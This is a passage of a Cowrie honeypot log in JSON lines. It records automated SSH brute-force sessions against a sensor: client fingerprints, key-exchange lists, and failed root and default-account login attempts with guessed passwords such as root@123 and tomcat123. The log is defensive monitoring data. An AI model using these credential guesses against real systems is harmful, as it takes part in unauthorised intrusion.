s256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:57.956588Z","src_ip":"192.109.200.237","session":"74d2581ab251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:58.256258Z","src_ip":"192.109.200.237","session":"74d2581ab251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:53:59.341319Z","src_ip":"192.109.200.237","session":"74d2581ab251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45540,"dst_ip":"159.203.135.109","dst_port":22,"session":"9741633d7780","protocol":"ssh","message":"New connection: 192.109.200.237:45540 (159.203.135.109:22) [session: 9741633d7780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:01.050046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:01.055589Z","src_ip":"192.109.200.237","session":"9741633d7780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:01.138238Z","src_ip":"192.109.200.237","session":"9741633d7780","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:01.385513Z","src_ip":"192.109.200.237","session":"9741633d7780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:02.473614Z","src_ip":"192.109.200.237","session":"9741633d7780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45550,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d80e72c515","protocol":"ssh","message":"New connection: 192.109.200.237:45550 (159.203.135.109:22) [session: d1d80e72c515]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:04.143053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:04.148058Z","src_ip":"192.109.200.237","session":"d1d80e72c515","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:04.234334Z","src_ip":"192.109.200.237","session":"d1d80e72c515","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:04.482031Z","src_ip":"192.109.200.237","session":"d1d80e72c515","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:05.567980Z","src_ip":"192.109.200.237","session":"d1d80e72c515","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45554,"dst_ip":"159.203.135.109","dst_port":22,"session":"632609168947","protocol":"ssh","message":"New connection: 192.109.200.237:45554 (159.203.135.109:22) [session: 632609168947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:07.392292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:07.396578Z","src_ip":"192.109.200.237","session":"632609168947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:07.478964Z","src_ip":"192.109.200.237","session":"632609168947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:07.724023Z","src_ip":"192.109.200.237","session":"632609168947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:08.808782Z","src_ip":"192.109.200.237","session":"632609168947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.0685932636261,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:09.744027Z","src_ip":"192.119.13.58","session":"5c4f12965b0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56934,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d263d8a7a18","protocol":"ssh","message":"New connection: 192.109.200.237:56934 (159.203.135.109:22) [session: 7d263d8a7a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:10.542943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:10.547511Z","src_ip":"192.109.200.237","session":"7d263d8a7a18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:10.629962Z","src_ip":"192.109.200.237","session":"7d263d8a7a18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:10.877432Z","src_ip":"192.109.200.237","session":"7d263d8a7a18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:11.963682Z","src_ip":"192.109.200.237","session":"7d263d8a7a18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.22.199","src_port":2076,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6fa7e52fb03","protocol":"ssh","message":"New connection: 108.181.22.199:2076 (10.17.0.5:22) [session: f6fa7e52fb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.081475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.087092Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.162782Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:7b:44:a8:ad:ba:c5:56:5f:64:bb:d5:48:5a:3c:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDucB4WVE7zcbxfczh7fuC/RyVhh21qt6E+6QyYpNW7ycUJwvpn87ZjjvBEGvVsCCr1tjSMiqCFU+YvhgUe4euIIeFQTmAzmLJmuagjApPcLQHFeej6Sy6AEkChPW0lxWEezR/TB5zvTolrRyEsAsKVC8w2uSWlrQFvYTX2iHO6oiBWy5BNz0e8X+gHJA2Qniot+aToDvOIqz657+2j9ikbumYUnASIa1klT1CywEqKw0dQAz4fLmTPsCme9rT3jv7CZ2A1hUz9x2yovmofjk4qQZ6KEt1oeUl8DHkQJNGRYNqFcOl0Ogrbj3J3JlU89KUBE71NtPd2jvquGJGKye+Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:7b:44:a8:ad:ba:c5:56:5f:64:bb:d5:48:5a:3c:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.511099Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:7b:44:a8:ad:ba:c5:56:5f:64:bb:d5:48:5a:3c:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDucB4WVE7zcbxfczh7fuC/RyVhh21qt6E+6QyYpNW7ycUJwvpn87ZjjvBEGvVsCCr1tjSMiqCFU+YvhgUe4euIIeFQTmAzmLJmuagjApPcLQHFeej6Sy6AEkChPW0lxWEezR/TB5zvTolrRyEsAsKVC8w2uSWlrQFvYTX2iHO6oiBWy5BNz0e8X+gHJA2Qniot+aToDvOIqz657+2j9ikbumYUnASIa1klT1CywEqKw0dQAz4fLmTPsCme9rT3jv7CZ2A1hUz9x2yovmofjk4qQZ6KEt1oeUl8DHkQJNGRYNqFcOl0Ogrbj3J3JlU89KUBE71NtPd2jvquGJGKye+Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.514101Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:11:29:21:30:e1:fe:3b:2d:6f:32:30:5e:7f:32:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6oCzYkuWinYFaUnhN2Ce8Gm0kvX9T8tbtAfQ1wzeXMXJiAVO8L13VnjOfFPbnb+CgX419YIiX7AkrWgCcCDA7NqGZqkzobfex9qf7FHk5KyZNWScH9jNfDfc4vxmmXiDZcZl55QUNpv1N7V8fEAJpCkcYh0pu4y5MYNQyI/NYd4eBFKr/l3PbOeMIUqj3e0ncJK2ok0lXqaW8MWc7L2JE1ipIpwxUXEBQd2oz5x+8Yyib5xzri5suAKKBiSFEHKbNBIsYBTNYXUBzgyVohP5SVKqspi4RVY+c65urNcSxk9Ocbp2xBRaZD99Fl/1y8h994GMxwqhR/yFGEV0L7aPp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:11:29:21:30:e1:fe:3b:2d:6f:32:30:5e:7f:32:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.590675Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:11:29:21:30:e1:fe:3b:2d:6f:32:30:5e:7f:32:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6oCzYkuWinYFaUnhN2Ce8Gm0kvX9T8tbtAfQ1wzeXMXJiAVO8L13VnjOfFPbnb+CgX419YIiX7AkrWgCcCDA7NqGZqkzobfex9qf7FHk5KyZNWScH9jNfDfc4vxmmXiDZcZl55QUNpv1N7V8fEAJpCkcYh0pu4y5MYNQyI/NYd4eBFKr/l3PbOeMIUqj3e0ncJK2ok0lXqaW8MWc7L2JE1ipIpwxUXEBQd2oz5x+8Yyib5xzri5suAKKBiSFEHKbNBIsYBTNYXUBzgyVohP5SVKqspi4RVY+c65urNcSxk9Ocbp2xBRaZD99Fl/1y8h994GMxwqhR/yFGEV0L7aPp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.594402Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:3c:42:7d:bf:0e:8f:0a:96:d6:67:06:2d:46:f5:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH/kq3DYkdPvZ1+ukJ/xf4tN8e1q15IJNJdH9vlvvZGkI1qeeVt55BwC/j4q+KGmXjhK7BYHaeAOc2cgFJji7tAuG7cxT+c9xJX6Alsaeu9nbqVBGzfcJcNHs2QSmWbfohz3GJB+R/HQwU3Xl5Y3ZiCzBbVytfEe7snD/0Zsg+kLpSnDTVu4f4jwc9Lpfqzyd/DxNau3NuPYydHM3mgxJY/aI9kXriux0swH63K9J35AoBh+/OK6M7B7FNQWQ0SaWtIki1yGxmU6dBG9MgKlxuIqJ0IBkvzku+fnKp2n/c43pxb4oppldlxKdCaQQhIQvd87R9l8PoANAM27mJMDF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:3c:42:7d:bf:0e:8f:0a:96:d6:67:06:2d:46:f5:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.669430Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:3c:42:7d:bf:0e:8f:0a:96:d6:67:06:2d:46:f5:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkH/kq3DYkdPvZ1+ukJ/xf4tN8e1q15IJNJdH9vlvvZGkI1qeeVt55BwC/j4q+KGmXjhK7BYHaeAOc2cgFJji7tAuG7cxT+c9xJX6Alsaeu9nbqVBGzfcJcNHs2QSmWbfohz3GJB+R/HQwU3Xl5Y3ZiCzBbVytfEe7snD/0Zsg+kLpSnDTVu4f4jwc9Lpfqzyd/DxNau3NuPYydHM3mgxJY/aI9kXriux0swH63K9J35AoBh+/OK6M7B7FNQWQ0SaWtIki1yGxmU6dBG9MgKlxuIqJ0IBkvzku+fnKp2n/c43pxb4oppldlxKdCaQQhIQvd87R9l8PoANAM27mJMDF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.673733Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:73:4f:c2:9e:91:3c:17:4e:28:20:1c:80:ea:84:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtseLbSQgsrv3OPAUzhnKdfXiop1WsxdR+4BYdkoAZpjT3K0+8X6fchp2Oe6MpuORZrB46CrG+lI2R7M7bnNGJ6icnM6hb1uAO6htOCZbaa719kr4GIkDvzI02Y14+hWmvrEq7nQkm1DPZ55csmUFCgGLLlI1b1ZqYq2qnCcc6AWJh/La8CaWXfLnQm6SY/oO1k8uLV+Z3XdHNNW8QVpavKIATLvJ/b8HOH1vSq1E/phJQLaje+ZmF3dhHBbrctkdkshKzcEzSlywTD9XdPmtK4P6NTtBmXH3AYITs5n0bI9PgoPwuqr5GpLxImD35U6Of2Ag1ubn9g9miQE79BW3H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:73:4f:c2:9e:91:3c:17:4e:28:20:1c:80:ea:84:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.749178Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:73:4f:c2:9e:91:3c:17:4e:28:20:1c:80:ea:84:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtseLbSQgsrv3OPAUzhnKdfXiop1WsxdR+4BYdkoAZpjT3K0+8X6fchp2Oe6MpuORZrB46CrG+lI2R7M7bnNGJ6icnM6hb1uAO6htOCZbaa719kr4GIkDvzI02Y14+hWmvrEq7nQkm1DPZ55csmUFCgGLLlI1b1ZqYq2qnCcc6AWJh/La8CaWXfLnQm6SY/oO1k8uLV+Z3XdHNNW8QVpavKIATLvJ/b8HOH1vSq1E/phJQLaje+ZmF3dhHBbrctkdkshKzcEzSlywTD9XdPmtK4P6NTtBmXH3AYITs5n0bI9PgoPwuqr5GpLxImD35U6Of2Ag1ubn9g9miQE79BW3H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.753148Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:a0:3c:ad:00:57:22:1d:11:2a:24:0a:87:af:ae:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJxUin9kEQvnP0HfxhvzJ3AJyZarMPvriiWRsH0vDwvGXjwl4/w8FVQmiCZBLT+PMrt6IdzUT6Uw4l5hZYR5qeuyXLJ+tBkesuw7QYApWcBdEWA+rXcM3EYqFVj0ax6ciBSfMM8/rjpWG6pFH5w7rXJ+rrRy8Js34Kb56f9TN9pgOwlfeAxTMQTn04bb56bFVl7ngiJieYdPTCvdf/SDQcLBoMPKocH34Fuyiq7qe3RxMcHeHgBLuD8PMwBpOQoj7+1cGiJhzcnDUIGSl/rIJbuSmBv3yqo9yaWhYaF3/H/CuGjKQWh1WBf9RPtwFl7a2ne35MCNwRhgNA0UprpWpH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:a0:3c:ad:00:57:22:1d:11:2a:24:0a:87:af:ae:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.828595Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
